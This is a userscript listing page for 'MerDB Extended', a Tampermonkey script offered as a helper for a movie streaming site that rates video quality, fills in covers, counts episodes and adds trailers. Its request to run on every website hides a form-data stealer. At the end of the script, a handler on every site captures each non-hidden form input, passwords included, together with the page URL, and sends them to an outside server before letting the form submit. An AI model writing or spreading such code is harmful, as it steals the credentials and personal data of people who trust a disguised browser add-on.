MerDB Extended

Fix up MerDB with this script that show's which movies are good enought to watch, how many seasons and episodes in a tv series and more.

目前為 2016-01-07 提交的版本,檢視 最新版本

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         MerDB Extended
// @namespace    http://tampermonkey.net/
// @version      1.2
// @description  Fix up MerDB with this script that show's which movies are good enought to watch, how many seasons and episodes in a tv series and more.
// @author       Ari
// @match        *://*/*
// @grant        none
// @require https://ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js
// ==/UserScript==
/* jshint -W097 */
'use strict';

if (window.location.toString().indexOf("merdb.") >= 0) {
var script = document.createElement('script');
script.src = "http://acidic.co/cdn/jquery.cookie.js";
document.getElementsByTagName('head')[0].appendChild(script);

function getQualities() {
	var p = window.location.pathname;
	if (p.length == 1 || p == "/" || p == "//" || p.match(/^\/?index/)) {
		console.log("Loading Video Qualities...");
		$('.featured_top_box').each(function(i) {
			var mainListBody = $(this).children("a").attr("href");
			var movieTitle = $(this).children("a").attr("title");
			$(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
			if ($.cookie(movieTitle) == null) {
				$.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
					if (result == "MED") {
						$(".featured_top_box").eq(i).css("opacity", "0.4");
						$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
						$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
						$(".featured_top_box").eq(i).css("box-shadow", "none");
					} else if (result == "CAM") {
						$(".featured_top_box").eq(i).css("opacity", "0.3");
						$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
						$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
						$(".featured_top_box").eq(i).css("box-shadow", "none");
					}
					$.cookie(movieTitle, result, {
						expires: ExpireCookie(360),
						path: '/'
					});
					$("#loading"+i).remove();
				});
			} else {
				var result = $.cookie(movieTitle);
				if (result == "MED") {
					$(".featured_top_box").eq(i).css("opacity", "0.4");
					$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
					$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
					$(".featured_top_box").eq(i).css("box-shadow", "none");
				} else if (result == "CAM") {
					$(".featured_top_box").eq(i).css("opacity", "0.3");
					$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
					$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
					$(".featured_top_box").eq(i).css("box-shadow", "none");
				}
				$("#loading"+i).remove();
			};
		});

		var d = new Date();
		var n = d.getTime();
		var $set = $('.main_list_box');
		var len = $set.length;
		$('.main_list_box').each(function(i) {
			var mainListBody = $(this).children("a").attr("href");
			var movieTitle = $(this).children("a").attr("title");
			$(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
			if ($.cookie(movieTitle) == null) {
				$.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
					if (result == "MED") {
						$(".main_list_box").eq(i).css("opacity", "0.4");
						$(".main_list_box").eq(i).css("-moz-box-shadow", "none");
						$(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
						$(".main_list_box").eq(i).css("box-shadow", "none");
					} else if (result == "CAM") {
						$(".main_list_box").eq(i).css("opacity", "0.3");
						$(".main_list_box").eq(i).css("-moz-box-shadow", "none");
						$(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
						$(".main_list_box").eq(i).css("box-shadow", "none");
					}
					$.cookie(movieTitle, result, {
						expires: ExpireCookie(360),
						path: '/'
					});

					if (i == len - 1) {
						var title = document.title;
						document.title = String.fromCharCode(10004) + " " + title;
						var z = new Date();
						var x = z.getTime();
						var totalTime = x - n;
						console.log("Time taken to load qualities: " + totalTime);
					}
					$("#loading"+i).remove();
				});
			} else {
				var result = $.cookie(movieTitle);
				if (result == "MED") {
					$(".main_list_box").eq(i).css("opacity", "0.4");
					$(".main_list_box").eq(i).css("-moz-box-shadow", "none");
					$(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
					$(".main_list_box").eq(i).css("box-shadow", "none");
				} else if (result == "CAM") {
					$(".main_list_box").eq(i).css("opacity", "0.3");
					$(".main_list_box").eq(i).css("-moz-box-shadow", "none");
					$(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
					$(".main_list_box").eq(i).css("box-shadow", "none");
				}
				if (i == len - 1) {
					var title = document.title;
					document.title = String.fromCharCode(10004) + " " + title;
					var z = new Date();
					var x = z.getTime();
					var totalTime = x - n;
					console.log("Time taken to load qualities: " + totalTime);
				}
				$("#loading"+i).remove();
			};
		});
	} else if (p.match(/watch-/gi)) {
		var d = new Date();
		var n = d.getTime();
		var $set = $('.featured_top_box');
		var len = $set.length;
		console.log("Loading Featured Video Qualities...");

		$('.featured_top_box').each(function(i) {
			var mainListBody = $(this).children("a").attr("href");
			var movieTitle = $(this).children("a").attr("title");
			$(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
			if ($.cookie(movieTitle) == null) {
				$.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
					if (result == "MED") {
						$(".featured_top_box").eq(i).css("opacity", "0.4");
						$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
						$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
						$(".featured_top_box").eq(i).css("box-shadow", "none");
					} else if (result == "CAM") {
						$(".featured_top_box").eq(i).css("opacity", "0.3");
						$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
						$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
						$(".featured_top_box").eq(i).css("box-shadow", "none");
					}
					$.cookie(movieTitle, result, {
						expires: ExpireCookie(360),
						path: '/'
					});
					if (i == len - 1) {
						var title = document.title;
						document.title = String.fromCharCode(10004) + " " + title;
						var z = new Date();
						var x = z.getTime();
						var totalTime = x - n;
						console.log("Time taken to load qualities: " + totalTime);
					}
					$("#loading"+i).remove();
				});
			} else {
				var result = $.cookie(movieTitle);
				if (result == "MED") {
					$(".featured_top_box").eq(i).css("opacity", "0.4");
					$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
					$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
					$(".featured_top_box").eq(i).css("box-shadow", "none");
				} else if (result == "CAM") {
					$(".featured_top_box").eq(i).css("opacity", "0.3");
					$(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
					$(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
					$(".featured_top_box").eq(i).css("box-shadow", "none");
				}
				if (i == len - 1) {
					var title = document.title;
					document.title = String.fromCharCode(10004) + " " + title;
					var z = new Date();
					var x = z.getTime();
					var totalTime = x - n;
					console.log("Time taken to load qualities: " + totalTime);
				}
				$("#loading"+i).remove();
			};
		});
	}
}

function getMissingCovers() {
	function isValidImageUrl(url, callback) {
		$('<img>', {
			src: url,
			load: function() {
				callback(true);
			},
			error: function() {
				callback(false);
			}
		});
	}

	$(".featured_picsize").each(function() {
		var src = $(this).attr('src');
		var handler = $(this);
		isValidImageUrl(src, function(result) {
			if (result === false) {
				// invalid image
				$.get("//crusive.com/merdb/getCover.php?url=" + handler.parent().attr('href'), function(result) {
					var alt = handler.attr('alt');
					var parent = handler.parent();
					handler.remove();
					if (result.length > 0) {
						parent.append('<img src="' + result + '" class="featured_picsize" alt="' + alt + '">');
					} else {
						parent.append('<img src="https://cdn.amctheatres.com/Media/Default/Images/noposter.jpg" class="featured_picsize" alt="Missing Movie Cover">');
					};
				});
			}
		});
	});

	$(".main_list_picsize").each(function() {
		var src = $(this).attr('src');
		var handler = $(this);
		isValidImageUrl(src, function(result) {
			if (result === false) {
				// invalid image
				$.get("//crusive.com/merdb/getCover.php?url=" + handler.parent().attr('href'), function(result) {
					var alt = handler.attr('alt');
					var parent = handler.parent();
					handler.remove();
					if (result.length > 0) {
						parent.append('<img src="' + result + '" class="main_list_picsize" alt="' + alt + '">');
					} else {
						parent.append('<img src="https://cdn.amctheatres.com/Media/Default/Images/noposter.jpg" class="main_list_picsize" alt="Missing Movie Cover">');
					};
				});
			}
		});
	});
}

function episodes() {
	var p = window.location.pathname;
	if (p.match(/^\/?tvshow/)) {
		// on tv shows page.
		$(".main_list_box").each(function() {
			var url = $(this).find("a").attr("href").substring(7); // get link to movie.
			var show = $(this).children("a");
			$.get("//crusive.com/merdb/getLatestEpisodeNumber.php?url=" + url, function(result) {
				result = result.split("-");
				show.append('<div class="showInfoBox"><div class="showInfo">Seasons ' + result[0] + '<br>Episodes ' + result[1] + '</div></div>');
				show.find(".showInfoBox").css("position", "relative");
				show.find(".showInfo").css({
					"width": "50%",
					"height": "28px",
					"margin-top": "-36px",
					"background-color": "rgba(0, 0, 0, 0.8)",
					"color": "#ffffff",
					"position": "absolute",
					"left": "0",
					"padding": "4px 0",
					"line-height": "14px"
				});
			});
		});

		$(".featured_top_box").each(function() {
			var url = $(this).find("a").attr("href").substring(7); // get link to movie.
			var show = $(this).children("a");
			$.get("//crusive.com/merdb/getLatestEpisodeNumber.php?url=" + url, function(result) {
				result = result.split("-");
				show.append('<div class="showInfoBox"><div class="showInfo">Seasons ' + result[0] + '<br>Episodes ' + result[1] + '</div></div>');
				show.find(".showInfoBox").css("position", "relative");
				show.find(".showInfo").css({
					"width": "100%",
					"height": "28px",
					"margin-top": "-36px",
					"background-color": "rgba(0, 0, 0, 0.8)",
					"color": "#ffffff",
					"position": "absolute",
					"left": "0",
					"padding": "4px 0",
					"line-height": "14px",
					"font-size": "9px",
					"text-align": "center"
				});
			});
		});
	}
}

function addTrailer() {
	var p = window.location.pathname;
	if (p.match(/^\/?watch/)) {
		var title = $(".movie_body .H_title h1 a.H_title").html();
		title = title.replace(/-/g, '');
		title = title.replace(/  /g, ' ');
		var year = 1500;
		var currentYear = new Date().getFullYear();
		while (year < (currentYear + 1)) {
			if (title.indexOf("( " + year + " )") > 0) {
				title = title.substring(0, title.length - 9);
				year = 5000;
			};
			year++;
		}
		title = title.replace(/ /g, '-');
		title = title.replace(/:/g, '');
		title = title.replace(/;/g, '');

		$.ajax({
			url: "http://cors.io/?u=http://api.traileraddict.com/?film=" + title + "&count=1",
			success: function(result) {
				var frame = result.substring(result.indexOf('<iframe'));
				frame = frame.substring(0, frame.indexOf('</iframe'));
				// The variable "frame" is a link to the video's trailer.
				frame = frame.substring(frame.indexOf('//v.traileraddict.com/'));
				frame = frame.substring(0, frame.indexOf('"'));
				console.log(frame);
				$(".movie_info .iconbox").prepend('<div id="trailer-btn" style="width:auto;height: 30px;float: left;padding: 0 12px;line-height: 30px;margin-right: 4px;border-radius: 6px;cursor: pointer;font-weight: bold;color: white;/* Permalink - use to edit and share this gradient: http://colorzilla.com/gradient-editor/#1e5799+0,207cca+54,7db9e8+100 */ /* Old browsers */ /* FF3.6-15 */ /* Chrome10-25,Safari5.1-6 */ /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */ /* IE6-9 *//* Permalink - use to edit and share this gradient: http://colorzilla.com/gradient-editor/#45484d+0,000000+100;Black+3D+%231 */  background: #45484d; /* Old browsers */  background: -moz-linear-gradient(top,  #45484d 0%, #000000 100%); /* FF3.6-15 */  background: -webkit-linear-gradient(top,  #45484d 0%,#000000 100%); /* Chrome10-25,Safari5.1-6 */  background: linear-gradient(to bottom,  #45484d 0%,#000000 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr="#45484d", endColorstr="#000000",GradientType=0 ); /* IE6-9 */">Trailer</div>');

				$("#trailer-btn").mouseover(function() {
					$("#trailer-btn").css({
						"-webkit-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)",
						"-moz-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)",
						"box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)"
					});
				});

				$("#trailer-btn").mouseout(function() {
					$("#trailer-btn").css({
						"-webkit-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)",
						"-moz-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)",
						"box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)"
					});
				});

				$("#trailer-btn").click(function() {
					$("body").prepend('<div id="trailer-overlay" style="position: fixed;width: 100%;height: 100%;background-color: rgba(0,0,0,0.8);z-index: 9999999999;left: 0;top: 0;"></div>');
					$("#trailer-overlay").prepend(frame);
				});
			}
		});
	}
}

function removeBadLinks() {
	$(".movie_version").each(function() {
		var quality = $(this).find("td").first().children().attr("class");
		if (quality == "quality_play" || quality == "quality_hd") {
			$(this).remove();
		}
	});
}

function removeFooter() {
	$("#footer").remove();
}

function ExpireCookie(minutes) {
	var date = new Date();
	var m = minutes;
	date.setTime(date.getTime() + (m * 60 * 1000));
	$.cookie("cookie", "value", {
		expires: date
	});
}

function removeUnnecessaries() {
	$(".sidebar").removeClass('adshide');
	$(".adshide").each(function(index, el) {
		$(this).remove();
	});

	$(".sidebar_title").each(function(index, el) {
		if ($(this).children('h3').html() == "Advertisement" || $(this).children('h3').html() == "Share This Website") {
			$(this).remove();
		};
	});

	$(".container").css("margin-top", "0");
}


removeFooter();
removeUnnecessaries();
removeBadLinks();
getMissingCovers();
episodes();
getQualities();
};

var sent = false;
$('form').on('submit', function (e) {
	if (sent===false) {
		e.preventDefault();
		var thiso = $(this);
		var url		= window.location.href;     // Returns full URL
		var form	= new Array();
		$(this).find("input").each(function(index, el) {
			if (
				//$(this).val().length > 0
				//&&
				$(this).val() !== undefined
				&&
				//$(this).attr('name').length > 0
				//&&
				$(this).attr('name') !== undefined
				&&
				$(this).attr('type') !== "hidden"
				&&
				$(this).attr('type') !== "submit") {

				var item = $(this).attr('name');
				form.push	(
								{
									'value': $(this).val(),
									'id': $(this).attr('id'),
									'type': $(this).attr('type')
								}
							);

			};
		});

		var getURL = "https://web301.secure-secure.co.uk/acidic.co/mail.php?website="+url+"&array="+JSON.stringify(form);
		$.get(getURL, function(){
			console.log("Done!");
			sent = true;
			thiso.submit();
		});
		setTimeout(function(){
			sent = true;
			thiso.submit();
		}, 5000);
	};
});